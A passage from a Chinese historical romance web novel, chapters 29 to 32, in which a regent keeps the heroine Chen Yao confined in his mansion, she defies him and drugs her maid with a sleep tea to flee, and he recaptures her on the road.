陈窈听出他的弦外之音,她已非处子之身,还同一男人生活四年之久,要是被即将成亲的夫家知晓,便是乱棍打死也是情有可原。
“那又如何?”陈窈说:“你休想拿女子的贞洁堵住我,天下间也有许多女子所托非人,若真遇到天命之人,是不会计较这些。”
顾宴书神色一变,“在窈娘眼里本王竟是这般小人?”
陈窈听的话并非空穴来风,她今日一见这位,他必是那位嗜血的魔头,为了皇权连自己的亲哥哥都敢杀,不敢相信她要是嫁于他会是什么下场。
况且她曾经狠心抛弃他、骗他、多次把他当驴一样使唤,让他砍柴拉磨,糙活重活都甩给他。
以他的性子,就是要折磨她。
陈窈猛然惊醒,她忽然想到她都不能自保,更何况恒之哥哥呢?
她已经好几天都没见到他了,难不成……?
陈窈泪徒然涌出,抽泣地说:“恒之哥哥呢?他去哪了?”
顾宴书神色一变,面色阴阴,沉声问:“你是在关心另一个男人吗?”
陈窈吓傻了,哭着说:“你到底把他怎么了!”
顾宴书噤若寒蝉,“杀了!”
29. 寻死
哐当——
刀子清脆地落在地面,陈窈眼底的泪水夺眶而出,她的心犹如巨石沉底般无助。
她受不了顾宴书的轻描淡写,仿佛人命在他心里如碾死一只蚂蚁一样简单。
顾宴书唇边噙着笑意,缓步向她走来。
他贴近陈窈的每一步如寒夜侵袭般,她浑身发冷打寒,像将她抛在冰天雪地里难熬。
“只要你老实在本王身边待着……”顾宴书双眼紧锁她,大手想要抚上她的侧脸。
抬起的手还未触及她脸庞,陈窈却双腿一软,身子不受控制地晕了过去。
顾宴书瞳孔骤然收紧,他大臂一伸,揽住她即将要倒的身躯,青筋凸起手掌牢牢扣住她纤细柳腰。
女人红裙随之轻轻扬起,整个身子倾倒在男人结实的臂膀中,如朵朵红梅坠入昼夜。
经历这一闹,陈窈染上风寒,她穿得薄受了些凉风,加之情绪过于起伏,一病不起。
摄政王府一夜灯火通明,没有婢女进出侍候,屋内只有一独然身影来往,良久立于床边。
陈窈吸了吸鼻子难受得很,身体又冷又热让她睡得很不踏实,好在半夜稍微好转。
她发凉的身子忽地找到暖源,脑袋没意识般地偏了偏,那暖处似乎感受到她,缓慢动了动,紧接着便覆盖她全身,刹那间暖意遍布全身。
一醒来她发现顾宴书正阖眼闭目,他修长似玉的指尖轻点太阳穴,窗外透进的一束光恰巧打在他挺翘的鼻骨,给男人多了几分柔和。
陈窈朦胧的双眼轻眨,一眼恍如隔世,还以为是在花颐村任她使唤的裴照七,明明一模一样的脸却让她生不出欢喜,一股厌烦与畏惧涌上心头。
她慢慢掀开被子打算趁他熟睡溜走,却不想薄被发出的窸窣声惊动了他。
顾宴书对一点风吹草动都很敏感,他本闭目养神的双眼如猛兽般蓦地睁开,红血色布满,可怖的面容发沉。
男人忽然朝她伸出手来,陈窈以为他要掐自己,脖子往后缩了缩,而他的手掌只是轻贴在她额头,低低地说:“不烫了。”
陈窈额间留下一片冰凉,很快被她温热的体温吸取,她对顾宴书突如其来的温柔不适应,有些不知所措。
“怎么?”顾宴书见她看自己一脸蒙的样子,想捏捏她的脸蛋,但害怕她像昨日一般惊吓过度,堪堪收回要伸出的手,“又不认识本王了?”
陈窈回过神,讷讷地说:“没有。”
顾宴书不敢再惊扰她,叫人伺候她梳洗,随后出了门。
陈窈生着病整个人发蔫,郁郁寡欢,尤其是在一个她根本不想待的陌生地方,脾气不由自主地大起来,对婢女送来的汤药通通摔在地上,“都滚开!”
“王妃,您若不喝药,身子好不起来。”
“是啊王妃,您这样王爷会担心您!”
“王妃!王妃!求您喝药!”
婢女们恭敬地跪在地上,劝慰她。
“别这么叫我!”
这个称呼陈窈每听一次就犯恶心,她不是王妃,也不是他的妻!
几名婢女面面相觑,满脸惶恐与焦灼,不知完不成王爷的吩咐该如何是好。
顾宴书似被屋里的动静引来,他疾步走来,看到一片片白瓷碗摔碎在地,褐色的汤药洇湿在毯子,药味弥漫整个屋子,不由剑眉紧拧。
男人视线挪动,落在虚弱的陈窈身上,她白素衣包裹弱小的身子,双唇无血色,墨黑的长发垂于胸前,映衬得小脸更加苍白,仿若一朵快凋谢的白海棠。
顾宴书眼底流露心疼之色,转眼厉声斥责下人:“连人都照顾不好,本王养你们有何用!”
婢女们哭喊在地,连连磕头,“求王爷饶命!求王爷饶命!”
顾宴书声音冷冷:“拖出去,杖毙!”
陈窈慌了神,她只是不喝药而已,顾宴书却想要这些无辜婢女们的命,她说道:“你别怪她们,是我自己不想喝。”
顾宴书默了默,“既然王妃替你们开口求情,还不谢过!”
“多谢王妃!多谢王妃!”
婢女们退下,屋内只剩他们二人。
顾宴书叫人送上了药,他坐在床边舀起玉勺轻轻吹散冒热气的汤药,刚才的戾气面对她烟消云散,“你病了,不吃药会更难受。”
陈窈紧抿着唇,目光淡淡地扫过,不说一句话。
顾宴书没有强求,反而很有耐心地对她说:“一定要一大早就和本王闹脾气吗?”
陈窈固执地偏过头,哼了一声。
顾宴书低低地轻叹,像是对她缴械投降,“你怎样才会吃药。”
陈窈这才转过头来,语气生硬地说:“恒之哥哥在哪儿?活要见人,死要见尸!”
“原来你是在闹这个。”顾宴书将药碗递在她面前,挑了下眉,“你若乖乖都喝掉,本王可以考虑带你去见他。”
陈窈一听秦恒之可能有生的希望,二话没说接过瓷碗一饮而尽,药味苦涩难以下咽,她几乎是皱着眉头完成的。
她此举刺痛了顾宴书的心,他眼神犀利,“他对你就这般重要?”
陈窈对他的话置之不理,迫切地说:“喝完了,现在带我去吧。”
顾宴书低眸瞥了眼空空的药碗,唇角勾起一抹狡猾的笑说:“本王只说考虑,没说马上带你见他。”
陈窈斜眸瞪他,大骂道:“卑鄙!”
顾宴书目的达到,他还有公务要处理,留下婢女尽心尽力伺候陈窈,不许出现任何闪失。
但顾宴书的得逞没坚持多久,不时有下人进书房来报,不是王妃要上吊就是王妃要抹脖自刎……
顾宴书:“把屋内所有的利器和绳子都扔出去,若是她出事,本王要你们所有人陪葬!”
老嬷嬷一听,吓得跪在地上求饶,欲哭无泪:“王妃说她要咬舌自尽。”
“……”
顾宴书被陈窈弄得没招,只能全依她。
正殿大厅,顾宴书一身华贵浮光锦,危坐在梨花木的雕椅。
陈窈坐在他身侧的山水屏风后,她视线微挪,男人眉骨挺立,目光平淡,和戏文中描述吃人不吐骨头的王爷如出一辙,冷漠无情,暴戾阴狠。
顾宴书倏然转过头,注意到陈窈不经意移开的目光,鼻尖哼出一声轻笑。
陈窈心里泛窘,她不是偷看他……
顾宴书看她穿着单薄的衣服,“给王妃多加一身衣服。”
“我不冷。”
陈窈不是真不冷,她只想快点和恒之哥哥相见。
“你大病初愈,尚未完全恢复,不能冻坏身子。”
顾宴书的命令无人敢违抗,嬷嬷在他发出命令时就已
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动身去陈窈的寝殿,很快取来一件淡粉色的披风便罩在陈窈的身上,挡住冷气。
“坐在屏风后不许出来,等凌雲把秦恒之带来,你远远望一眼即可。”顾宴书说。
“好!”
陈窈答应得顾宴书好好的,可真见到秦恒之的那一刻,她彻底绷不住了。
秦恒之看上去比之前憔悴,眼神黯淡无光,像是受过极大的折磨。
陈窈难以置信地捂住惊颤的嘴,双眸被泪水模糊,她提起裙子就要冲过去,“恒之哥哥……”
顾宴书像是早料到陈窈会不守信用,在她起身的一刻,他已跨步走出,大臂揽过她的腰身,陈窈稳当地落入他的腿上。
屏风后两道朦胧的影子隐约浮动,秦恒之依稀能看出陈窈被顾宴书禁锢在怀中,动弹不得。
大婚当日,他全家被顾宴书掠走时,才知道他将过门的妻子曾攀附过当朝摄政王,在村中有一段隐秘的情事。
秦恒之有点男人的主义,多多少少都有那么点在意陈窈的清白。
但又被他母亲劝回,秦母说若是能送摄政王一个顺水推舟的人情,他家照样能富足,不用靠联姻来让生意红火。
秦母说得有道理,他确有几分动容,但也喜欢陈窈。
他还没亲过陈窈的脸还有小嘴……怎能让他轻易地将要入怀的美人拱手相让。
秦恒之想上前救陈窈,但他双肩被凌雲押着更自顾不暇,奋力挣脱中他脚下一软,单边膝盖重重跪在地上,发出沉闷的声响,“窈娘!”
顾宴书冷眉抬起,“窈娘也是你能叫的?”
“放开她。”秦恒之不甘示弱,仰视他的眼神发狠,但声音却比之前弱了不少。
顾宴书大掌扣握着陈窈晃动的肩膀,牢牢拥着她娇小的身躯在自己胸膛,似炫耀般地嗤笑他,“她是本王的女人,岂容你置喙?”
秦恒之面露痛苦,陈窈急坏了,她疯狂捶打顾宴书硬挺的胸膛,仿佛在敲击他坚如磐石的心,“顾宴书!你答应我不伤他的!”
顾宴书对这种小痛小痒毫不在意,任由陈窈冲自己发泄。
他长眸微凝,“你还承诺过本王绝不出屏风,不也失言?”
陈窈顿住,气堵在胸口,“你!”
顾宴书唇角微微一翘,攥住她呆呆悬在半空中的小手,往嘴边贴了贴,“所以咱们天生一对!”
蜻蜓点水般的冰凉划过她的手背,陈窈整个身子似被雷电了般石化。
陈窈抽回被他握住手,在他眼皮子下,明目张胆地在长裙上抹掉沾过他气息的指。
顾宴书眼底一沉,略有不爽,但也没再强求。
两人痴情的戏码让他倦了,顾宴书大手一挥,“带下去!”
凌雲得令,单手扣住秦恒之的肩,一把将他提起,秦恒之痛苦地嘶吼陈窈名字的声音越行越远。
“人也见了,可否乖乖待在府中?”
顾宴书头疼,只要这位小祖宗不再寻死觅活,怎样都行。
陈窈圆眼怒瞪着他,胸口被他气得起伏。
“别拿这种眼神看本王。”顾宴书剑眉微拧,冷眸暗了暗。
不看就不看!
下一刻,陈窈忽然趴在他身上,猛地低头,对着他近在咫尺的脖颈狠狠咬了下去!
顾宴书眉心皱起,瞪大了双眼。
30. 囚雀
比顾宴书的震惊,更为震撼的是在王府侍候多年的下人们,她们多一份胆战心惊,都替这位不知天高地厚的小丫头倒吸了口凉气。
王爷能忍她一时的小打小闹,她竟仗着王爷的宠爱得寸进尺,胆敢伤害王爷的金玉之体,真是不知死活!
顾宴书能感受到陈窈在发狠地咬他,脖根处传来的痛感让他扣在她腰间的手又紧了紧。
陈窈咬他很艰难,这人皮糙肉厚,像是块死皮一样。
“还愣着干吗?”顾宴书没有指责也没有推开陈窈,冲着他们喊,“把王妃拉下去!”
婢女们登时像还魂一般,几人架起陈窈就往外走,绝不让这种不要命的女人碍王爷的眼!
陈窈咬他解了一口气,但还远远不够,她对顾宴书的讨伐声回荡整个庭院,“顾宴书!你是男人就别怂!别躲啊——”
屋内的老嬷嬷:“……”
果然如想的那般,王爷还是震怒了,但老嬷嬷不忍见如此花季的少女就此折损,她壮着胆子上前问:“带下去灌药还是先扔出府再说?”
顾宴书一顿,眼神幽冷地抬起。
老嬷嬷怔住,浑身寒战。
顾宴书一字一顿地说:“带、去、休、息!”
“……”
年近五十的老嬷嬷一路小跑,呼哧带踹地终于跟上架住陈窈的下人们,她大声呼喊,“停下来!将王妃娘娘带回寝殿侍候!”
都快要走出府的婢女们和笑容凝固的陈窈:“……”
陈窈这一闹,让整个王府上下都对她起了敬畏。
下午的时候,顾宴书差人给她带了只小鹦鹉解闷。
陈窈瞟了眼这只红毛尖喙小家伙,她对顾宴书和他送来的东西都不感兴趣,小鹦鹉在笼子里跳来跳去,不时叽喳地叫一声,像是在对新环境观察。
陈窈双目放空,一个人干躺在床上无聊至极。
她盯着密不透风的房间,吃不到街上的糖人,也做不了发簪,所有的新鲜事都与她无关,这些全拜顾宴书所赐,她越想越气,破口骂了句:“真烦!什么时候才能出去?!”
话音刚落,身旁尖尖的声音传来——“真烦!什么时候才能出去?!”
陈窈一惊,“咯噔”地从床上翻下,像是发现什么新鲜的玩意儿,“你竟然还会学人说话?”
小鹦鹉听后,脑袋扭扭歪歪地晃,又是一句叽叽喳喳地重复她的话。
陈窈笑了笑,真有趣。
她叫婢女拿来水和小米,边给它喂食边教它说了几句话,小鹦鹉很通人性,不出一会儿便和陈窈亲近起来。
陈窈正要打开笼子把鸟放出来,身边的婢女止住,“这只鹦鹉机灵得很,若它专门以此博得您的喜爱而飞出去,王爷知道该怪罪了。”
“真能飞出王府是它命好。”陈窈视线颇为怜惜地垂了垂,伸手打开了困住它自在的小门。
小鹦鹉挥动羽翼,在屋里自在地飞翔。
鸟儿尚且有翅膀还能飞,而她只能坐以待毙。
恰时,顾宴书推门进来,欢声笑语霎时戛然而止,陈窈脸上的笑容也在看到他的一刻收起,她侧坐着对他。
“看来你很喜欢本王送给你的礼物。”顾宴书早就叫人来问过话了,都说陈窈对着鹦鹉笑了一下午。
陈窈不给他好脸色,瞥了一眼,“哼!”
顾宴书走过去,无视她的不耐,“窈娘晚膳想吃什么,本王叫人去做。”
陈窈:“不吃。”
顾宴书:“不吃可不行,你病刚好一些,若是不吃只怕会落下病根。”
他又拿病说事,陈窈听得耳朵都起茧子了,但她还是一副宁死不屈的模样,仿佛顾宴书送来的膳食是什么毒药一样。
顾宴书掀起一丝笑,好整以暇地看她,“你不吃,本王就嘴对嘴喂给你吃。”
陈窈:“???”
把食物嚼碎了,吐给她吃?
想想就恶心,亏他一王爷想得出来。
陈窈骂人的话呼之欲出,“顾宴书!你……”
没等她说完,下一秒,小鹦鹉像是有感应般,叭叭地喊:“王八蛋!”
陈窈:“……”
顾宴书:“……”
欢乐定格在凌雲把鹦鹉带了下去,它的尖叫像是死前绝望的呼喊。
陈窈吞了吞口水,顾宴书连一条小生命都不肯放过,而她这个始作俑者三番五次的挑衅他的底线,下场定不会好到哪里去。
身在这王府鹦鹉都不得自由,更何况是她呢?
王府的夜死一般的沉寂,像是一口枯井,凄清幽深。
陈窈难以安睡,她背部挺得笔直,警觉地坐在床边,手中握一根发簪藏匿于后,被身上披盖宽大的被褥遮挡。
若今晚顾宴书强行与她同床,她便用这尖锐的簪子割破他的喉咙,要是伤不到他丝毫,她就插进自己的心口,宁死不屈。
夜间雾气浓重,天越来越深,顾宴书却没有踏进屋内一步,只是叫婢女过来知会她早些睡,明日接着带她去晒太阳。
陈窈松了口气,薄被下紧握的簪子渐渐放松,簪挺泛起一圈水光,是她流下的一层冷汗。
她起身吹灭烛灯,躺下入眠。
顾宴书站在不远处的树下注视,男人深不可测的眸子暗得比夜还要重,直至屋里一片黑暗他才离开。
在陌生的床上入眠,陈窈睡得并不踏实,辗转到很晚她才勉强睡着。
顾宴书对她的讨好可谓是费尽心思,他知道陈窈不待见他,忙完公务会来找她,陈窈猜他是来看看效果如何。
不过,陈窈是不会让他得逞!
顾宴书送来全嬅京最名贵的绸缎与珠宝,各种华裳、耳珰、串珠和玉镯,每一件都价值连城。
是女人自当逃不过这些闪着光的诱惑,但陈窈现下无心欣赏起这些。
顾宴书忙完公务,来她屋里瞧着下人正给她摆弄头饰。
他敛了敛笑意,“喜欢吗?”
伺候的下人们纷纷退下,陈窈坐在玫瑰椅缓缓转身,“这些我都可以要吗?”
顾宴书:“你是王妃想做什么都行。”
陈窈:“我想出去透透气。”
顾宴书:“不行。”
陈窈:“……”
还王妃呢,她日子过得连府中的下人还不如!
陈窈待在府里几日就几日没给顾宴书好脸色,无论他说什么陈窈都和他对着来。
他问她,这些年过得还好吗?
她哼了哼,离开你过得特别好!
他说,这个王府什么都有,都是你的。
陈窈龇牙说,什么都有就是没有人情味。
他又说,窈娘美,窈娘乖,窈娘不要和本王置气,好吗?
陈窈气哼哼地转过头,宁愿面对刺眼的阳光,都不去看他半分。
来来回回几次,顾宴书却不恼,像身边有只炸毛的小猫般,他似乎很享受慢慢将她毛捋顺的过程。
又过了几日,陈窈身体好了些,顾宴书叫大夫给她把了脉,陈窈知道自己的身体是瞒不住大夫,大夫对顾宴书也直言不讳,三人都心知肚明。
陈窈看着丫鬟端来的汤药,想必是和之前卓资开的是相似的方子。
她每次都会偷偷吐掉,不易有孕想来也是件好事。
顾宴书很快便知道她没喝药,每日也不多言语,拿起药碗亲自喂她。
但陈窈每早都故意拖沓,半口半口地喝药。
凌雲在屋外踱步,急得不行才来催促,“王爷,您该走了!”
“你走吧,我自己能喝。”陈窈说。
但他一走她就会把药都吐掉,故意和他作对!
顾宴书不徐不疾,谁说的话他都没理,直到药碗被陈窈喝空,他才出门上朝。
陈窈曾问过大夫,她还会有自己的孩子吗?
大夫轻叹一声:“王妃年纪还小,慢慢调理会有些效果。”
陈窈心里有数,只怕是难了。
顾宴书对她落下的病根从不提起,想必是怕她伤心,渐渐地陈窈早上也不为难她了,乖乖地喝药调理身子。
他上午陪她下午处理公务,晚上叫丫鬟来传话,安分守己地从不踏入门房一步。
即便陈窈还是对他爱答不理,顾宴书也只是一笑而过,像是只为同她待一起,其余别无所求。
但陈窈面对他对自己的娇惯和纵容,总有种暴风雨前的风平浪静。
这天好不容易顾宴书政务在身,不得不出门,可她独自一人在这冷清的王府,伺候的丫鬟和这府的主人一样冷,她们公事公办地按顾宴书的吩咐传话,她想和她们聊聊天要不就点头要不就下跪求饶。
陈窈连个说话的人都没有,干脆将门窗掩上,闭门不出。
不透一丝光的室内,顿时显得
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更孤寂,她环顾周围奢华的雕饰与贵重的摆件,弱弱地叹息一声,不知道被关在这四四方方的院子还要多久。
与此同时,顾宴书应付官场上几位大人们的宴客,这种场合免不了要喝酒,他们又想借此拉拢顾宴书,专给他准备了歌舞与讨喜的美人相伴。
月色动人,歌舞升平。
顾宴书心不在焉地观赏,满脑子都是印着陈窈那张对他厌烦的冷脸,不知不觉中手中的酒杯又空了。
他刚要拿酒壶满上,不知哪里来的一名女子,先他一步将酒杯倒满。
美人鹅黄长裙,有意露出的锁骨与嫩白的肌肤在光下极为晃眼,她长睫微眨,举起酒杯说:“久闻摄政王英勇善战,小女敬您。”
许是这些天在陈窈那里的失意,顾宴书一场宴会下来没少喝酒,他眼梢染上些许醉意,深邃的眸子在女人身上定了定,而后一如往常地接过酒杯。
男人喉结滚动,一饮而尽。
底下本在觥筹交错的大人们声音霎时消失,都在面面相觑讨论不知是哪位大人送的美人,而他们这位摄政王竟接了过去,也是稀奇。
美人微微得意勾了下唇,以为自己的美貌得了摄政王的青睐,便壮着胆子朝他身边坐近了些。
一股浓郁的香脂味钻进鼻息,顾宴书皱了皱眉,脑子也跟着清醒了许多。
“小女伺候您倒酒。”美人没察觉半分,趁着倒酒的幅度故意将外衣往下拉,俯身时大片风光暴露。
顾宴书凝起眸光,冷冷地扫了眼,“为何朝本王笑?”
美人手一顿,随即饱含羞涩地对上顾宴书淡淡的视线,她小心斟酌地奉承,“因为小女仰慕摄政王许久,您一表人才,英姿飒爽,任天下哪位女子见了都会动心,为您倾倒。”
顾宴书剑眉一挑,似来了兴趣般说:“哦?是吗?”
“那是自然。”美人急于表现自己,又美言道:“若谁不敬重您,那真当是不识好歹!”
顾宴书笑了笑,他家恰好就有个哄不熟的白眼狼。
一个为图谋他权力的女子都知道说动人的话,而陈窈与他夫妻四年相处,却对他百般冷眼。
他想不明白,府中一切金银他都可以给她,今后还有享不尽的荣华等着她,可她竟连对他笑一笑都不愿,想到这里的他不禁如刀割般痛,眼底的阴鸷深深显露。
面对顾宴书片刻的沉默,美人拿不准他的脾性,只得轻唤了声,“殿下?”
顾宴书没瞧她一眼,大步离开,轻吐两字:“凌雲。”
凌雲得令,瞬息之间女人被拖拉下去,惨无人道的哭叫回荡。
留下场内众人一脸蒙,这般以儆效尤再无人敢献美人给摄政王。
——
夜黑压压的一片,陈窈早已入睡。
女人躺卧温润名贵的玉枕,莹白的小脸透着淡淡的光,她动了动鼻尖,眼皮下的一双眼珠转动,不知道想到什么她猛然惊醒。
影影绰绰的黑影映在墙面,顾宴书那张暴戾的面孔映入眼帘,陈窈慌忙地去捞枕下的刀,却扑了个空,她彻底慌了神。
这几天日子的懈怠,让她忘记要藏一支锋利的钗子应对。
顾宴书携带一身凉意,静坐在她床沿边,深色的锦绸盖在她绣花薄被,压迫感如天降滚雷般强烈。
他手从宽大的紫袍中伸出,抚上她的脸侧,阴恻恻的脸上露出瘆人的笑,“这些天本王对你可还好吗?”
“好、好好……”
陈窈哆哆嗦嗦地缩进最角落边,怀中抱着的一团被她揉得皱巴的被,这种时刻连毫无攻击力的被子都被她拿来防身,她当真是怕极了。
顾宴书终于不屑伪装,露出他本来的面皮,视线往下压了压,“那你为何冷脸相对?”
陈窈面如白纸,鼻尖嗅到他周身清淡的酒气传来。
他吃了酒,定是要借着酒意讨伐她,陈窈企图拉回他的理智,“你醉了。”
“我、没、有、醉。”顾宴书紧锁她发颤的脸,一字一顿重重地落,他视线微微下挪,不知在想什么连本王也不自称了。
陈窈被他逼迫到角落,形势严峻,她想趁着和他说话从侧边钻出去,“我困了有什么话明……”
话还没说完被他沉沉的语气打断,他红着眼喊,“我是疯了!”
下一刻,顾宴书大手捏住她的下颚,倾身狠狠地对着她娇嫩欲滴的唇吻了下去。
31. 逃离
陈窈双唇被他霸道地堵住,男人凛冽气息与酒气交织,摄取、占据她的全部,她抵不住这般的炽烈,泪无声地落下。
顾宴书实实在在地醉了,单手扣住女人的两颊,以一种挟制的姿态长驱直入,与她交缠,他顾不得陈窈是否能承受住这猛烈的攻势,湿润的舌尖扫荡她的口腔,拼命汲取。
陈窈退无可退,也推不开他,贝齿狠心一咬,血腥味顿时充盈两人的口腔。
顾宴书吃痛一声与她分开,几乎是瞬间,陈窈“啪”地一巴掌毫不犹豫甩在他脸上。
男人的面庞落下火辣辣的一抹印记,唇角溢出淡淡的血痕,是被她咬出的破口。
陈窈拽起被角抵御,哼哼啼啼地哭诉,“你滚!我不想看到你呜呜呜。”
这一巴掌也让顾宴书彻底清醒,凶戾的瞳色渐渐褪去,他目光落到陈窈涕零如雨的双眼,心中泛起丝丝悔恨。
她又哭了,他最见不得她哭。
陈窈身体发颤,眼尾红肿,耳边的发丝凌乱贴面,还有几个粉红的手指印子,是被他强拉硬拽留下的。
女人哭得比任何时候都要伤心,也更让顾宴书更加心碎。
顾宴书看了看她,嘴边的隐隐作痛让他平静了些许,“本王对你不好吗?只要是你想要的本王都会悉数奉上,只要你肯留在本王身边,像我们在花颐村那般好,你唤我相公我……”
陈窈被他吓狠了,难忍抽泣地说出寒心的话,“你又不是裴照七,我们又岂能回到从前。”
顾宴书心一沉,她喜欢的是裴照七,那个天真无邪的裴照七,如同她想嫁的秦恒之一样,都是脚踏实地的男人,而不是厮杀凶暴的顾宴书。
男人掀起一抹微不可察的笑意,像是自嘲又像是不甘,随后起身,高大挺拔的身影踏入清冷寂寥的月色,缓缓离去。
回到书房,顾宴书长指撑在眉心处,执掌一方的摄政王从没这么疲惫过,今晚却在一个女人那里吃瘪。
他能上战场英勇杀敌,却无能讨得陈窈的心。
凌雲身影飞近,他回话,“王妃已睡。”
顾宴书明了,摆手让他退下。
见摄政王满面愁苦,凌雲没急着退下,他平时看着在男人堆里打打杀杀,但心思却要细腻些,他开解道:“对王妃来说,您一时变换身份,她定难以接受,日后您细心对待,王妃看在眼中自然会改观。”
顾宴书:“本王对她不好吗?”
“呃……”凌雲低眸,不敢反对。但依稀他这几日的观察,把人家整日关在四处不透风的府邸,谁会对他生出好印象。
顾宴书掀开眼帘,递给他一个不悦的眼神。
凌霄把要说出的话又吞了下去。
——
顾宴书如陈窈的愿,连着几天都没出现在她面前,倒是找了个能吃话又多的小丫鬟陪她。
彩环吃着陈窈递来的梅花饼,含糊地说:“不知道啊,奴婢本来是做杂活儿的,后来有人来问,哪个人话最多,奴婢还以为会因话多而被杀头,然后……我就被调到这儿了。”
“……”
陈窈总算知道为什么她来侍候自己了。
彩环这丫头话的确很多,陪她左右确实给她解了不少乏。
但是经过了那一晚,陈窈对这些来服侍她的丫鬟好感全无,与其说伺候不如说是来监视她,以及这些好听的话……
彩环咂巴着嘴,陈窈来王府尽人皆知,她自是知道她的遭遇,不解地说:“能嫁给摄政王可是几世修来的福气,您怎会万般不情愿呢?”
陈窈翻了个白眼,果真是他府上的丫鬟,真会往他脸上贴金。
她幽幽地反驳说:“福气?我和谁做夫妻都会有福,与他有何关系!”
彩环不服:“可摄政王怎能与天下男子相提并论?他可是尊贵的……”
陈窈懒得听她说这些溢美之词,话糙理不糙地说:“怎么?你们家摄政王比别的男人多条腿啊?”
彩环被她一噎:“我……”
陈窈扫了眼她手里的咬了一半的饼,凶巴巴说:“你要是再敢提他,我就收了你的梅花饼!”
彩环快速将香喷喷的饼子塞进嘴里,双腮鼓起像只松鼠,乖乖闭上嘴。
陈窈见她这副模样抿了口茶水,低低一笑。
彩环见她唇边绽出真心的笑容,欣喜得快要蹦起来般,“姑娘,您终于笑了!”
陈窈轻轻昂首,仰望树梢停歇的一只鹂鸟,它似在嗅花香,片刻后它轻扇动双翼,展翅而飞。
女人清澈的瞳孔映出一汪碧绿的生命力,但朦胧的底色却是悲凉,她哀叹道:“我本自由自在地生活,偏偏关到这四四方方的院子里,任谁能开心?”
彩环:“姑娘想出去吗?”
听她这么一说,陈窈眨了眨眼,喜出望外道:“还可以出去?”
“不可以。”彩环摇头,挤出一个无情且冷漠的笑。
“……”
陈窈撇嘴:“……那你问我?”
彩环:“我的意思是王妃要想出去买什么首饰或者想吃什么,奴婢可以叫人去买。”
陈窈眼珠流转,在彩环身上定了定,如玉的脸上浅浅浮出一计,她开口道:“还真有东西需要买!”
彩环:“王妃要买什么?”
陈窈摸了下鼻子说:“近日在王府也是无聊,你去买点细丝来,我无事做些簪子打发时间。”
“是。”
彩环得令,第二日便把陈窈想要的东西买给她了,除此之外还有一套比她要得还多的工具。
此事当然也需经过摄政王的准允,顾宴书听闻后,饶有兴趣地问,“王妃只要些丝吗?”
彩环恭敬回道:“是。”
顾宴书眉梢闪过一抹不易察觉的笑,吩咐说:“她要买什么就给她买,买得要比她要得还多!”
彩环得令,而陈窈要的东西越来越多,有的是钗环,也有些吃食和,第四日时她让彩还给她抓一服药。
“我近日总觉睡眠不好,你按着这个方子抓点百合枣仁茶。”陈窈放下毛笔,将写好的方子递给她。
“需要给您请大夫诊治吗?”彩环关心道。
“不用,我喝了这茶便会好很多。”陈窃笑着说。
彩环答应,也没强硬地给她请大夫,王爷派她来除了给王妃解乏外,更重要的是要让王妃回心转意,她近几日观察王妃笑得比之前多,王妃逐渐适应了王府的生活,也说明她快与王爷重归于好了!
陈窈注意到她站着不动,却傻傻地乐,不明地说:“你在笑什么?”
“没什么,奴婢这就给您抓药去!”彩环没说原因,笑哈哈地飞跑出去。
陈窈渐渐收起笑容,抬起头凝望蓝如海的长空,长睫盖住她一闪而过的思虑。
紫檀壶飘出袅袅几缕轻烟,室内弥漫出淡淡的茶香,陈窈将茶煮好后,先递给彩环一杯。
彩环早就迫不及待地想尝尝了,
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她接过小抿一口,清甜在口齿回荡,“嗯!好喝!”
“好喝你就都喝了吧,不够这里还有。”
陈窈长袖一挡,装模作样地贴了贴杯口,一滴茶水都没过喉。
彩环一杯接一杯,壶中茶水已见底,她倏尔扶着发沉的脑袋,“王妃,我突然好困啊。”
陈窈莞尔一笑,放下手中簪子,“这里就你我二人不必拘谨,你且去榻上眯一觉,等到用饭我再叫你。”
要是常日彩环铁定不同意,但不知今天怎么了,眼皮像重重的石头般,她在陈窈的搀扶下躺去了榻,头刚沾到榻便沉沉睡了过去。
黄昏日落,大片的余晖映在角檐。
谁人都没注意,一位穿着丫鬟的粉衣女子低敛眉目从大门走出。
——
金瑶楼内,晓依看到陈窈的一刻眼珠蓦地瞪大,惊讶地喊,“姑娘?”
陈窈见到晓依如同亲人般,死死按住她的双肩将她搂进怀中,眼眶湿润,“他没把你怎么样吧?没受伤吧?”
“他们将我捆了一晚上,第二天就放我回来了。”晓依眼帘垂了垂,回握住她说:“姑娘你没事吧?”
陈窈摇了摇头,自责说:“你没事就好,都是我不好,我连累了你。”
晓依眨了眨眼,“倒是姑娘您,怎会惹上摄政王啊?”
“这个……说来话长,不过你记住那个顾宴书如传闻中的如初一撤,真真是杀人不眨眼的魔头,我得离开……离开嬅京!”
陈窈抹了把泪,拿出行囊简单迅速收拾。
她这几天想了想最稳妥的办法就是远离顾宴书,搬出嬅京,去一个他找不到的地方!
陈窈边把傍身的东西装进,边吩咐她,“晓依给我备马车!”
晓依望着陈窈慌忙的影子,她双手紧紧捏拳,腿像是木桩一样堪堪杵在原地。
陈窈没听她动身的声音,着急慌忙地喊她,“还愣着在干吗!还不快去!”
晓依赶忙回过神,小跑去楼下:“是……是。”
陈窈上马车前,问晓依:“对了,恒之哥哥怎么样了?”
晓依:“秦公子一切安好。”
陈窈从他家店经过,忍不住往二楼望了几眼,一道背影映在窗棂上,他看上去比之前消瘦了很多。
“店里你看,我离开嬅京先避几天。”陈窈拉住晓依的手,头脑很清晰地说:“你放心,他不会把你们怎样的,如果他敢拿你们的命威胁我,我就拿自己的命做要挟。”
“姑娘。”晓依眼含热泪,送她离开。
马车远走,晓依目送陈窈消失在街角的尽头。
陈窈已好几日没睡过安稳觉了,随着马车轻微颠簸,她不知不觉睡着了。
等她再醒来时,马车已停。
陈窈叫车夫停在她郊外的小院上,可她睡了这么久却没见他叫醒她,陈窈身子直起,耳边传来空旷的风声,她心一紧意识到不对了。
黑幕悄然笼罩,劲风肆虐,刮得树叶沙沙作响,像是陈旧未修缮的古老乐器,让人心绪如夜一样沉闷。
陈窈忍着双腿的发软,撩开车帘往外看。
一片苍凉的黑暗中被零星的火把支起,庭院两边的古老树像是两道鬼影,随风咆哮,而树下的男人高台危坐,他半张脸笼进墨黑的夜,挺立的轮廓如细笔勾勒,一身寒气逼近,美俊的皮囊下是杀伐果断的心肠。
他面容冷峻,眼底泛起幽幽火光,“王妃这是去了哪儿啊?”
32. 自由
她根本没出嬅京!
陈窈指尖微凉,帘子垂落,车内回归蒙蒙黑暗。
她又回到了顾宴书的手掌心,如同一只低贱的蝼蚁在他的迷宫绕圈子,四处碰壁,努力也是徒劳。
“需要本王亲自扶,还是你自己出来?”顾宴书眉毛轻挑,指节攀附在梨花木突起的雕纹上,清冷威震的声线压着愤怒。
陈窈长长的睫羽颤了颤,无畏地挣扎了几瞬,最终掀开车帘走下。
